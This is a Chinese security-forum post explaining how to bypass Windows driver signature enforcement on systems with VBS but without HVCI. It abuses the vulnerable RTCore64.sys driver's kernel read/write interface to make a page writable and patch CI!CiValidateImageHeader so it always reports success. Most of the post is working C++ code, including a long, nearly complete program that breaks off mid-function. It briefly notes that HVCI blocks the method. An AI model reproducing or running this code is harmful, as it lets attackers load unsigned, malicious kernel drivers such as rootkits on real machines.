[原创]在开启VBS的环境下绕过驱动签名强制-二进制漏洞-看雪安全社区

[原创]在开启VBS的环境下绕过驱动签名强制

发表于: 2026-4-8 15:46 18273

[原创]在开启VBS的环境下绕过驱动签名强制

漫雾.

2026-4-8 15:46

18273

# 在开启VBS的环境下绕过驱动签名强制
## 引言
在 Windows 系统的安全防护体系中，驱动程序强制签名（Driver Signature Enforcement，DSE）是一项重要的安全机制，它用于防止攻击者将未签名的驱动程序加载到内核中，从而保护内核免受恶意代码的攻击。然而，随着攻击者技术的不断发展，针对 DSE 的绕过技术也逐渐出现。同时，微软推出的基于虚拟化的安全（Virtualization-Based Security，VBS）技术试图加强对内核的保护，但在未结合管理程序代码完整性（Hypervisor-Protected Code Integrity，HVCI）的情况下，仍然存在被绕过的可能。本文将详细介绍在没有开启 HVCI 的 VBS 环境下进行 DSE 绕过。
## 一、禁用驱动签名强制
在高版本的 Windows 系统中，DSE 由 ci.dll 内核模块实现，该模块中存在一个名为`g_CiOptions`的全局变量，将该变量设置为`0`可以完全禁用 DSE。但在 Windows 10 引入 VBS 机制后，这种直接修改变量的方法失效了，于是我们就看到了下面这一幕：

![alt text](upload/attach/202604/1061323_HPPVEN89ZT445A8.png)

## 二、VBS 的防护原理
VBS 是 Windows 10 和 11 系统中默认启用的安全机制，它提供了一个受管理程序保护的环境，运行第二个 “安全内核”，传统的 Ring-0 级别的内核无法触及该环境。VBS 通过内核数据保护（Kernel Data Protection，KDP）技术来保护g_CiOptions变量。

我们使用 Ghidra 导入 ci.dll，找到`CipInitialize`函数，我们可以看到有许多函数回调例程，我们点击`CiInitializePolicy`如图所示

![alt text](upload/attach/202604/1061323_E7MKBHU8M465EDM.png)

我们在`CiInitializePolicy`里一直向下翻找，可以看到`g_CiOptions`全局变量的地址传给了`MmProtectDriverSection`函数，如图所示

![alt text](upload/attach/202604/1061323_S87G5XY2D9EHG2K.png)

该函数的具体用法可以参考 MSDN，下面我就简单的列一下函数原型
```cpp
NTSTATUS MmProtectDriverSection(
  [in] PVOID  AddressWithinSection,
  [in] SIZE_T Size,
  [in] ULONG  Flags
);
```
该函数使用 VSM 管理的 SLAT 表（二级地址转换）保护内核中数据段的物理内存。而参数`AddressWithinSection`是指向要保护有效数据的内存地址，且在受保护期间，无法删除此保护。
## 三、在开启 VBS 的环境下绕过 DSE
### 3.1 通过代码热修补的方法绕过 DSE 原理
1. 要绕过 DSE，我们需要找到合适的位置进行补丁，我们可以在  `CI!CipImageGetImageHash`处下个断点，然后加载驱动，输出如下：
   ```js
   0: kd> bu CI!CipImageGetImageHash
   0: kd> g
   Breakpoint 0 hit
   CI!CipImageGetImageHash:
   fffff803`242e6f64 488bc4          mov     rax,rsp
   6: kd> k
   # Child-SP          RetAddr               Call Site
   00 ffffb080`c3529408 fffff803`242e6de5     CI!CipImageGetImageHash
   01 ffffb080`c3529410 fffff803`243283f0     CI!CipCalculateImageHash+0xa5
   02 ffffb080`c3529490 fffff803`242d6eaa     CI!CipValidateFileHash+0x290
   03 ffffb080`c3529570 fffff803`242a7ef2     CI!CipValidateImageHash+0x112
   04 ffffb080`c3529660 fffff803`9274e661     CI!CiValidateImageHeader+0xaa2
   05 ffffb080`c3529840 fffff803`9274df8f     nt!MiValidateSectionCreate+0x641
   ...
   0e ffffb080`c352a0d0 fffff803`927ccd42     nt!MmLoadSystemImageEx+0x110
   0f ffffb080`c352a1b0 fffff803`928bc453     nt!IopLoadDriver+0x262
   10 ffffb080`c352a380 fffff803`9211e74b     nt!IopLoadUnloadDriver+0x83
   ```
   从调试结果可知，加载任意驱动程序后，系统会进入 ci.dll 并调用 `CiValidateImageHeader`函数执行签名验证。因此，我们可在 `CiValidateImageHeader`函数起始位置写入一条机器指令，使其直接返回`STATUS_SUCCESS`，以此绕过签名验证流程。

需注意的是，内核空间中无法直接向可执行内存写入数据，需先修改虚拟地址对应的页表项（PTE），将目标内存区域设置为可写状态，再执行代码热修补操作。
2. 通过 Ghidra 对 RTCore64.sys 漏洞驱动进行逆向分析，可提取出其内核内存读、写接口，如下图所示：

![alt text](upload/attach/202604/1061323_8ZKUDXHYVETYBAE.png)

相关接口定义如下：
   ```cpp
   #define IOCTL_KERNEL_WRITE 0x8000204c
   #define IOCTL_KERNEL_READ 0x80002048
   #pragma pack(push, 1)
   // 驱动写接口
   typedef struct _KERNEL_WRITE_REQUEST {
      ULONG_PTR Unknown1;
      PVOID BaseAddress;
      DWORD Reserved1;
      DWORD Offset;
      DWORD WriteSize;
      ULONG WriteValue;
      DWORD Reserved2[4];
   } KERNEL_WRITE_REQUEST, * PKERNEL_WRITE_REQUEST;
   #pragma pack(pop)

//驱动读接口
   #pragma pack(push, 1)
   typedef struct _KERNEL_READ_REQUEST {
      BYTE Unknown1[8];
      LONGLONG BaseAddress;  
      DWORD Reserved1;
      DWORD Offset; 
      DWORD ReadSize;
      DWORD ReadValue;
      BYTE Reserved2[16];
   }KERNEL_READ_REQUEST, * PKERNEL_READ_REQUEST;
   #pragma pack(pop)
   ```
3. 调用漏洞驱动读写接口的实现代码
   基于上述接口，可编写如下代码调用漏洞驱动的内核内存读、写功能：
   ```cpp
   BOOL KernelReadMemory(PVOID TargetAddress, PBYTE lpBuffer, size_t BufferSize)
   {
      if(!gDevice)
      {
         return FALSE;
      }
      PBYTE baseAddress = (PBYTE)TargetAddress;
      for (size_t i = 0; i < BufferSize; i++)
      {
         KERNEL_READ_REQUEST readRequest = { 0 };
         readRequest.BaseAddress = (DWORD64)(baseAddress + i);
         readRequest.ReadSize = 1;
         DWORD bytesReturned = 0;
         BOOL result = DeviceIoControl(gDevice, IOCTL_KERNEL_READ, &readRequest, 0x30, &readRequest, 0x30, &bytesReturned, NULL);
         if (!result)
         {
            DWORD err = GetLastError();
            cout << "Failed to read kernel memory" << endl;
            cout << "errcode：" << err << endl;
            return FALSE;
         }
         lpBuffer[i] = readRequest.ReadValue & 0xFF;
      }
      cout << endl;
      return TRUE;
   }
   BOOL KernelWriteMemory(PVOID TargetAddress, PBYTE lpBuffer, size_t BufferSize)
   {
      if(!gDevice)
      {
         return FALSE;
      }
      PBYTE baseAddress = (PBYTE)TargetAddress;
      for (size_t i = 0; i < BufferSize; i++)
      {
         KERNEL_WRITE_REQUEST writeRequest = { 0 };
         writeRequest.BaseAddress = baseAddress + i;
         writeRequest.WriteSize = 1;
         writeRequest.WriteValue = lpBuffer[i];
         DWORD bytesReturned = 0;
         BOOL result = DeviceIoControl(gDevice, IOCTL_KERNEL_WRITE, &writeRequest, 0x30, NULL, 0, &bytesReturned, NULL);
         if (!result)
         {
            return FALSE;
         }
      }
      return TRUE;
   }
   ```
4. 寻找`CiValidateImageHeader`函数的地址

由于 Windows 的版本差异，`CiValidateImageHeader`函数的特征码可能不同，我们需要找一个相对稳定的特征码和相对稳定的搜索模式进行匹配。在这期间，我花费了大量时间去分析不同版本 Windows 系统中的 `ci.dll` 文件，尝试了多种特征码组合，最终才找到一个相对稳定的特征码和匹配模式。

具体实现代码如下：
   ```cpp
   DWORD_PTR GetMiGetPteAddressFuncRVA() 
   { 
       BYTE pattern[] = "\x48\xc1\xe9\x09\x48\xb8\xf8\xff\xff\xff\x7f\x00\x00\x00\x48\x23\xc8\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x48\x03\xc1\xc3"; 
       char mask[] = "xxxxxxxxxxxxxxxxxxxxxxx????xxxx"; 
       PBYTE funcAddr = (PBYTE)SearchPattern(gKernelImageExecuteBase, gKernelImageExecuteSize, pattern, mask); 
       return (DWORD_PTR)funcAddr-(DWORD_PTR)gKernelImageBase; 
   } 
   DWORD_PTR GetCiValidateImageHeaderRVA() 
   { 
       PBYTE pCiInitialize = (PBYTE)gCiImageBase + GetFuncRVA(gCiImageBase, "CiInitialize"); 
       cout << "CI!CiInitialize Address：0x" << hex << (DWORD_PTR)gCiBase + GetFuncRVA(gCiImageBase, "CiInitialize") << endl; 
       BYTE pattern[] = "\x48\x8b\xd6\x8b\xcd"; 
       char mask[] = "xxxxx"; 
       PBYTE pCipInitialize = (PBYTE)SearchPattern(pCiInitialize, 0x1000, pattern, mask); 
       pCipInitialize += 5; 
       INT32 offset = *(INT32*)(pCipInitialize + 1); 
       pCipInitialize += 5; 
       pCipInitialize += offset; 
       cout << "CI!CipInitialize Address：0x" << hex << (DWORD_PTR)pCipInitialize - (DWORD_PTR)gCiImageBase + (DWORD_PTR)gCiBase;
       BYTE pattern2[] = "\x48\x8d\x05\x00\x00\x00\x00"; 
       char mask2[] = "xxx??xx"; 
       PBYTE uValueA = (PBYTE)SearchPattern(pCipInitialize, 0x2000, pattern2, mask2); 
       INT32 offset2 = *(INT32*)(uValueA + 3); 
       cout << "offset2=0x" << hex << offset2 << endl; 
       DWORD_PTR next = (DWORD_PTR)uValueA + 7; 
       return (next + offset2) - (DWORD_PTR)gCiImageBase; 
   } 
   ```

该函数的工作原理如下：
   1. 首先获取 `CiInitialize` 函数的地址
   2. 在 `CiInitialize` 函数中搜索特征码 `\x48\x8b\xd6\x8b\xcd` 定位到 `CipInitialize` 函数的调用
   3. 解析调用指令的偏移量，计算出 `CipInitialize` 函数的地址
   4. 在 `CipInitialize` 函数中搜索特征码 `\x48\x8d\x05\x00\x00\x00\x00`，这是一个 `lea rax, [CiValidateImageHeader]` 指令的特征码
   5. 解析该指令的偏移量，计算出 `CiValidateImageHeader` 函数的相对虚拟地址（RVA）
   从汇编代码中可以看到：
   ![alt text](upload/attach/202604/1061323_Q98XJMR8YFPGUYE.png)
   以及：
   ![alt text](upload/attach/202604/1061323_U5J9VUR6N8BRDHN.png)
   通过这种方法，我们可以在不同版本的 Windows 系统中相对稳定地定位到 `CiValidateImageHeader` 函数的地址，为后续的热修补操作做准备。
5. 通过修改 PTE 项进行热修补操作
   找到 `CiValidateImageHeader` 函数后，我们需要修改其对应的页表项（PTE）权限，然后实施热修补。这是整个绕过过程的核心步骤，具体实现如下：

1. 获取 `MiGetPteAddress` 函数信息
      我们需要反汇编 `MiGetPteAddress` 函数逻辑来找到计算参数和 PTE 基址。从之前的分析中，我们知道该函数的汇编代码如下：
      ```asm
      nt!MiGetPteAddress:
      fffff803`5c86b560: 48 c1 e9 09          shr     rcx, 9
      fffff803`5c86b564: 48 b8 f8 ff ff ff 7f 00 00  mov     rax, 7FFFFFFFF8h
      fffff803`5c86b56e: 48 23 c8             and     rcx, rax
      fffff803`5c86b571: 48 b8 00 00 00 00 80 ac ff ff  mov     rax, 0FFFFAC8000000000h
      fffff803`5c86b57b: 48 03 c1             add     rax, rcx
      fffff803`5c86b57e: c3                   ret
      ```
      从代码中可以看到：
      - `shr rcx, 9`：将输入地址右移9位（对应4KB页大小）
      - `mov rax, 7FFFFFFFF8h`：加载掩码
      - `and rcx, rax`：清除低9位
      - `mov rax, 0FFFFAC8000000000h`：加载 PTE 基址
      - `add rax, rcx`：计算最终 PTE 地址
      - `ret`：返回结果
      
      在我们的实现中，通过以下代码获取这些关键信息：
      ```cpp
      // 获取 MiGetPteAddress 函数地址
      DWORD_PTR miGetPteAddressFuncRVA = GetMiGetPteAddressFuncRVA();
      cout << "MiGetPteAddress函数RVA：0x" << hex << miGetPteAddressFuncRVA << endl;
      PVOID miGetPteAddressFunc = (PBYTE)kernelBase + miGetPteAddressFuncRVA;
      PVOID miGetPteAddressFuncInImage = (PBYTE)gKernelImageBase + miGetPteAddressFuncRVA;
      cout << "MiGetPteAddress函数地址：0x" << hex << (DWORD_PTR)miGetPteAddressFunc << endl;
      
      // 读取 PTE 基址和计算参数
      DWORD64 pteBaseAddress = 0;
      KernelReadMemory((PBYTE)miGetPteAddressFunc + 19, (PBYTE)&pteBaseAddress, sizeof(pteBaseAddress));
      BYTE uValueA = *(BYTE*)((DWORD64)miGetPteAddressFuncInImage + 0x03);
      DWORD64 uValueB = *(DWORD64*)((DWORD64)miGetPteAddressFuncInImage + 0x06);
      cout << "uValueA：0x" << hex << (DWORD)uValueA << endl;
      cout << "uValueB：0x" << hex << uValueB << endl;
      cout << "PTE基址：0x" << hex << pteBaseAddress << endl;
      ```

通过反汇编分析，我们可以准确提取出计算 PTE 地址所需的参数，这是实现内存权限修改的关键步骤。

2. 计算 `CiValidateImageHeader` 函数的 PTE 地址
      ```cpp
      // 获取 CiValidateImageHeader 函数地址
      PVOID pCiValidateImageHeader = (PVOID)((DWORD_PTR)gCiBase + GetCiValidateImageHeaderRVA());
      cout << "CiValidateImageHeader函数地址：0x" << hex << (DWORD_PTR)pCiValidateImageHeader << endl;
      
      // 计算 PTE 地址
      ULONGLONG address = (ULONGLONG)pCiValidateImageHeader;
      ULONG64* pte = (ULONG64*)((address >> uValueA & uValueB) + pteBaseAddress);
      cout << hex << "PTE地址：0x" << (DWORD_PTR)pte << endl;
      ```
      可以借助 WinDbg 的`!pte [Address]`指令来确定 PTE 地址是否正确。
   3. 修改 PTE 权限
      ```cpp
      // 读取并修改 PTE 值，设置可写标志
      DWORD64 pteValue = 0;
      KernelReadMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));
      // 设置可写标志（第1位）
      pteValue = pteValue | 2;
      KernelWriteMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));
      ```

4. 实施热修补
      ```cpp
      // 备份原始代码
      BYTE originalValue[4] = { 0 };
      KernelReadMemory(pCiValidateImageHeader, originalValue, sizeof(originalValue));
      
      // 写入补丁：xor rax, rax; ret (返回 STATUS_SUCCESS)
      KernelWriteMemory(pCiValidateImageHeader, (PBYTE)"\x48\x30\xc0\xc3", 4);
      cout << "已成功修改 CiValidateImageHeader 函数，DSE 已绕过！" << endl;
      ```

5. 写完要马上恢复原始状态，否则会触发 PatchGuard 蓝屏
      ```cpp
      // 恢复原始代码
      KernelWriteMemory(pCiValidateImageHeader, originalValue, sizeof(originalValue));
      
      // 恢复 PTE 权限
      pteValue = pteValue ^ 2;  // 清除可写标志
      KernelWriteMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));
      ```
6. 最终效果
   成功执行代码后，系统的DSE保护机制将被临时绕过，此时可以加载未签名的驱动程序。
   执行效果截图如下：

![alt text](upload/attach/202604/1061323_K45VCRNFX5RXXEP.png)

7. 防护策略

HVCI 通过 Hypervisor 利用 SLAT/EPT/NPT 提供的硬件虚拟化能力，在比普通内核更高的特权级别（Ring -1） 上管控内存页权限，普通内核态代码无法修改 Hypervisor 维护的页表。
   在启用HVCI的环境下可执行的内存页会被标记为只读且可执行（禁止写入），可写入的内存页（如数据区）会被标记为可写但不可执行。
   当我们尝试在启用 HVCI 的 VBS 环境下使用这种方法绕过 DSE，就会发现：

![alt text](upload/attach/202604/1061323_29NMMKN9JFCEX4P.png)

### 3.2 完整代码实现

```cpp
#include < iostream>
#include < Windows.h>
#include < winternl.h>
#include < ntstatus.h>
#pragma comment(lib,"ntdll.lib")
using namespace std;
/**
 * @brief 获取PE文件的NT头
 * @param baseAddress PE文件基地址
 * @param ntHeaders 输出参数，指向NT头的指针
 * @return 成功返回TRUE，失败返回FALSE
 */
inline BOOL GetNTHeaders(PVOID baseAddress, PIMAGE_NT_HEADERS* ntHeaders)
{
    if (!baseAddress || !ntHeaders) return FALSE;

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    // 验证DOS头签名
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;

// 计算NT头偏移
    *ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)baseAddress + dosHeader->e_lfanew);
    // 验证NT头签名
    if ((*ntHeaders)->Signature != IMAGE_NT_SIGNATURE) return FALSE;

return TRUE;
}
/**
 * @brief 获取PE文件导出表
 * @param baseAddress PE文件基地址
 * @param exportDirectory 输出参数，指向导出表的指针
 * @return 成功返回TRUE，失败返回FALSE
 */
inline BOOL GetImageExportDirectory(PVOID baseAddress, PIMAGE_EXPORT_DIRECTORY* exportDirectory)
{
    if (!baseAddress || !exportDirectory) return FALSE;

PIMAGE_NT_HEADERS ntHeaders = NULL;
    if (!GetNTHeaders(baseAddress, &ntHeaders)) return FALSE;

// 检查导出表数据目录是否有效
    if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) return FALSE;

// 计算导出表实际地址
    *exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)baseAddress +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    return TRUE;
}
// 全局变量定义
HANDLE gDevice = NULL;                  // 驱动设备句柄
DWORD_PTR gKernelImageSize = 0;         // 内核镜像总大小
DWORD_PTR gKernelImageExecuteSize = 0;  // 内核镜像可执行段（.text）大小
PVOID gKernelImageBase = NULL;          // 本地映射的内核镜像基地址
PVOID gKernelBase = NULL;               // 内核模块(ntoskrnl.exe)实际基地址
PVOID gKernelImageExecuteBase = NULL;   // 内核镜像可执行段（.text）基地址
PVOID gCiBase = NULL;                   // CI模块(ci.dll)实际基地址
PVOID gCiImageBase = NULL;              // 本地映射的CI镜像基地址
SIZE_T gCiImageSize = 0;                // CI镜像总大小

// 系统模块信息结构体：用于NtQuerySystemInformation获取内核模块列表
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG_PTR Reserved1[2];
    PVOID ImageBase;          // 模块基地址
    ULONG ImageSize;          // 模块大小
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;  // 文件名偏移
    UCHAR FullPathName[256];  // 模块完整路径
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

// 系统模块列表结构体
typedef struct _SYSTEM_MODULES {
    ULONG ModulesCount;                          // 模块数量
    SYSTEM_MODULE_INFORMATION Modules[1];        // 模块数组
} SYSTEM_MODULES, * PSYSTEM_MODULES;

// 驱动IOCTL控制码定义
#define IOCTL_KERNEL_WRITE 0x8000204c  // 内核内存写操作
#define IOCTL_KERNEL_READ 0x80002048   // 内核内存读操作

// 驱动写请求结构体
#pragma pack(push, 1)
typedef struct _KERNEL_WRITE_REQUEST {
    ULONG_PTR Unknown1;
    PVOID BaseAddress;    // 写入目标地址
    DWORD Reserved1;
    DWORD Offset;
    DWORD WriteSize;      // 写入大小
    ULONG WriteValue;     // 写入值
    DWORD Reserved2[4];
} KERNEL_WRITE_REQUEST, * PKERNEL_WRITE_REQUEST;
#pragma pack(pop)

// 驱动读请求结构体
#pragma pack(push, 1)
typedef struct _KERNEL_READ_REQUEST {
    BYTE Unknown1[8];
    LONGLONG BaseAddress; // 读取目标地址
    DWORD Reserved1;
    DWORD Offset;
    DWORD ReadSize;       // 读取大小
    DWORD ReadValue;      // 读取结果
    BYTE Reserved2[16];
} KERNEL_READ_REQUEST, * PKERNEL_READ_REQUEST;
#pragma pack(pop)

BOOL EnableDebugPrivilege()
{
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp = { 0 };

// 打开当前进程令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;

// 查询调试权限LUID
    if (!LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
    {
        CloseHandle(hToken);
        return FALSE;
    }

// 启用调试权限
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
    CloseHandle(hToken);
    return result && GetLastError() == ERROR_SUCCESS;
}

/**
 * @brief 获取内核模块基地址
 * @param ModuleName 模块名（如"ntoskrnl.exe"）
 * @param ImageLength 输出参数，模块大小
 * @return 成功返回模块基地址，失败返回NULL
 */
PVOID GetKernelModuleBase(const char* ModuleName, size_t* ImageLength) {
    if (!ModuleName) return NULL;

DWORD moduleLength = 0;
    // 查询系统模块信息所需缓冲区大小
    NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, NULL, 0, &moduleLength);
    if (status != STATUS_INFO_LENGTH_MISMATCH)
    {
        cout << "查询模块信息长度失败" << endl;
        return NULL;
    }

// 分配缓冲区存储模块信息
    PSYSTEM_MODULES modulesInfo = (PSYSTEM_MODULES)malloc(moduleLength);
    if (!modulesInfo)
    {
        cout << "分配模块信息内存失败" << endl;
        return NULL;
    }

// 获取系统模块列表
    status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, modulesInfo, moduleLength, &moduleLength);
    if (status != STATUS_SUCCESS)
    {
        cout << "查询模块信息失败" << endl;
        free(modulesInfo);
        return NULL;
    }

// 遍历模块列表查找目标模块
    for (DWORD i = 0; i < modulesInfo->ModulesCount; i++)
    {
        PCHAR moduleName = (PCHAR)(modulesInfo->Modules[i].FullPathName + modulesInfo->Modules[i].OffsetToFileName);
        if (!_strnicmp(moduleName, ModuleName, strlen(ModuleName)))
        {
            PVOID baseAddr = modulesInfo->Modules[i].ImageBase;
            if (ImageLength)
                *ImageLength = modulesInfo->Modules[i].ImageSize;
            
            free(modulesInfo);
            return baseAddr;
        }
    }

free(modulesInfo);
    cout << "未找到目标模块" << endl;
    return NULL;
}

/**
 * @brief 内存特征码搜索（Pattern Scan）
 * @param baseAddr 搜索起始地址
 * @param size 搜索范围大小
 * @param pattern 特征码数组
 * @param mask 特征码掩码（?表示任意字节）
 * @return 成功返回匹配地址，失败返回NULL
 */
PVOID SearchPattern(PVOID baseAddr, SIZE_T size, BYTE* pattern, const char* mask)
{
    PVOID result = NULL;
    __int64 patternLength = strlen(mask);
    BOOL found = FALSE;

// 遍历内存逐字节匹配特征码
    for (__int64 i = 0; i <= size - patternLength; i++) {
        found = TRUE;
        for (__int64 j = 0; j < patternLength; j++) {
            if (mask[j] != '?' && *(BYTE*)((DWORD_PTR)baseAddr + i + j) != pattern[j]) {
                found = FALSE;
                break;
            }
        }
        if (found) {
            result = (PVOID)((DWORD_PTR)baseAddr + i);
            break;
        }
    }
    return result;
}

/**
 * @brief 读取内核内存
 * @param TargetAddress 内核目标地址
 * @param lpBuffer 接收缓冲区
 * @param BufferSize 读取大小
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL KernelReadMemory(PVOID TargetAddress, PBYTE lpBuffer, size_t BufferSize)
{
    if (!gDevice) return FALSE;

PBYTE baseAddress = (PBYTE)TargetAddress;
    // 逐字节读取（驱动单次仅支持读1字节）
    for (size_t i = 0; i < BufferSize; i++)
    {
        KERNEL_READ_REQUEST readRequest = { 0 };
        readRequest.BaseAddress = (DWORD64)(baseAddress + i);
        readRequest.ReadSize = 1;

DWORD bytesReturned = 0;
        BOOL result = DeviceIoControl(gDevice, IOCTL_KERNEL_READ, &readRequest, 0x30, 
            &readRequest, 0x30, &bytesReturned, NULL);
        
        if (!result)
        {
            DWORD err = GetLastError();
            cout << "读取内核内存失败，错误码：" << err << endl;
            return FALSE;
        }
        lpBuffer[i] = readRequest.ReadValue & 0xFF;
    }
    return TRUE;
}

/**
 * @brief 写入内核内存
 * @param TargetAddress 内核目标地址
 * @param lpBuffer 写入数据缓冲区
 * @param BufferSize 写入大小
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL KernelWriteMemory(PVOID TargetAddress, PBYTE lpBuffer, size_t BufferSize)
{
    if (!gDevice) return FALSE;

PBYTE baseAddress = (PBYTE)TargetAddress;
    // 逐字节写入（驱动单次仅支持写1字节）
    for (size_t i = 0; i < BufferSize; i++)
    {
        KERNEL_WRITE_REQUEST writeRequest = { 0 };
        writeRequest.BaseAddress = baseAddress + i;
        writeRequest.WriteSize = 1;
        writeRequest.WriteValue = lpBuffer[i];

DWORD bytesReturned = 0;
        BOOL result = DeviceIoControl(gDevice, IOCTL_KERNEL_WRITE, &writeRequest, 0x30, 
            NULL, 0, &bytesReturned, NULL);
        
        if (!result)
            return FALSE;
    }
    return TRUE;
}

/**
 * @brief 初始化驱动设备：写入驱动文件、创建服务、打开设备句柄
 */
VOID InitDevice()
{
    // 创建并启动驱动服务
    system("sc create RTCore binpath= C:\\Windows\\System32\\drivers\\RTCore64.sys type= Kernel");
    system("sc start RTCore");

// 打开驱动设备句柄
    gDevice = CreateFileW(L"\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 0, NULL, 
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    
    if (gDevice == INVALID_HANDLE_VALUE)
        gDevice = NULL;
    
    return;
}

/**
 * @brief 关闭驱动设备：关闭句柄、停止并删除服务、删除驱动文件
 */
VOID CloseDevice()
{
    if (gDevice)
        CloseHandle(gDevice);
    
    system("sc stop RTCore");
    system("sc delete RTCore");
}

/**
 * @brief 获取内核模块(ntoskrnl.exe)基地址
 * @return 成功返回基地址，失败返回NULL
 */
PVOID GetKernelBase()
{
    size_t kernelSize = 0;
    gKernelBase = GetKernelModuleBase("ntoskrnl.exe", &kernelSize);
    return gKernelBase;
}

/**
 * @brief 映射内核镜像(ntoskrnl.exe)到本地进程空间
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL MapKernelImage()
{
    __try
    {
        HANDLE hFile = NULL;
        PVOID ImageBuffer = NULL;
        PVOID ImageMemory = NULL;
        BOOL result = FALSE;

do 
        {
            // 打开ntoskrnl.exe文件
            hFile = CreateFileW(L"C:\\Windows\\System32\\ntoskrnl.exe", GENERIC_READ, FILE_SHARE_READ, 
                NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            
            if (hFile == INVALID_HANDLE_VALUE)
            {
                DWORD err = GetLastError();
                cout << "打开内核文件失败，错误码：" << err << endl;
                break;
            }

// 获取文件大小
            LARGE_INTEGER fileSize = { 0 };
            if (!GetFileSizeEx(hFile, &fileSize)) 
            { 
                cout << "获取内核文件大小失败" << endl; 
                break; 
            };
            
            size_t qwFileSize = fileSize.QuadPart;
            if (!qwFileSize)
            {
                cout << "内核文件大小无效" << endl;
                break;
            }

// 分配缓冲区读取文件内容
            ImageBuffer = VirtualAlloc(NULL, qwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            if (!ImageBuffer)
            {
                DWORD err = GetLastError();
                cout << "分配文件缓冲区失败，错误码：" << err << endl;
                break;
            }
            RtlSecureZeroMemory(ImageBuffer, qwFileSize);

// 读取文件内容到缓冲区
            DWORD bytesRead = 0;
            if (!ReadFile(hFile, ImageBuffer, qwFileSize, &bytesRead, NULL) || bytesRead != qwFileSize)
            {
                DWORD err = GetLastError();
                cout << "读取内核文件失败，错误码：" << err << endl;
                break;
            }
            CloseHandle(hFile);
            hFile = NULL;

// 获取PE文件NT头
            PIMAGE_NT_HEADERS ntHeaders = NULL;
            if (!GetNTHeaders(ImageBuffer, &ntHeaders))
            {
                cout << "获取内核镜像NT头失败" << endl;
                break;
            }

// 分配内存映射PE镜像
            ImageMemory = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, 
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            
            if (!ImageMemory)
            {
                DWORD err = GetLastError();
                cout << "分配镜像内存失败，错误码：" << err << endl;
                break;
            }
            RtlSecureZeroMemory(ImageMemory, ntHeaders->OptionalHeader.SizeOfImage);

// 复制PE头
            memcpy(ImageMemory, ImageBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);

// 复制节数据
            PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
            for (DWORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
            {
                PBYTE dest = (PBYTE)ImageMemory + sectionHeader[i].VirtualAddress;
                PBYTE src = (PBYTE)ImageBuffer + sectionHeader[i].PointerToRawData;
                memcpy(dest, src, sectionHeader[i].SizeOfRawData);
            }

// 释放文件缓冲区，保存镜像信息
            ImageBuffer = NULL;
            gKernelImageBase = ImageMemory;
            gKernelImageSize = ntHeaders->OptionalHeader.SizeOfImage;
            result = TRUE;

} while (false);

// 清理资源
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            CloseHandle(hFile);
        
        if (ImageBuffer)
            VirtualFree(ImageBuffer, 0, MEM_RELEASE);
        
        return result;
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        DWORD err = GetExceptionCode();
        cout << "映射内核镜像异常，异常码：0x" << hex << err << endl;
        ExitProcess(1);
    }
}

/**
 * @brief 释放本地映射的内核镜像
 */
VOID UnmapKernelImage()
{
    if (gKernelImageBase)
    {
        VirtualFree(gKernelImageBase, 0, MEM_RELEASE);
        gKernelImageBase = NULL;
    }
}

/**
 * @brief 获取内核镜像可执行段（.text）基地址和大小
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL GetKernelImageExecuteBase()
{
    if (!gKernelImageBase) return FALSE;

PIMAGE_NT_HEADERS ntHeaders = NULL;
    if (!GetNTHeaders(gKernelImageBase, &ntHeaders)) return FALSE;

// 遍历节表查找.text节
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (DWORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
    {
        if (strcmp((char*)sectionHeader[i].Name, ".text") == 0)
        {
            gKernelImageExecuteBase = (PBYTE)gKernelImageBase + sectionHeader[i].VirtualAddress;
            gKernelImageExecuteSize = sectionHeader[i].SizeOfRawData;
            break;
        }
    }
    return TRUE;
}

/**
 * @brief 映射CI镜像(ci.dll)到本地进程空间
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL MapCiImage()
{
    __try
    {
        HANDLE hFile = NULL;
        PVOID ImageBuffer = NULL;
        PVOID ImageMemory = NULL;
        BOOL result = FALSE;
        do 
        {
            // 打开ci.dll文件
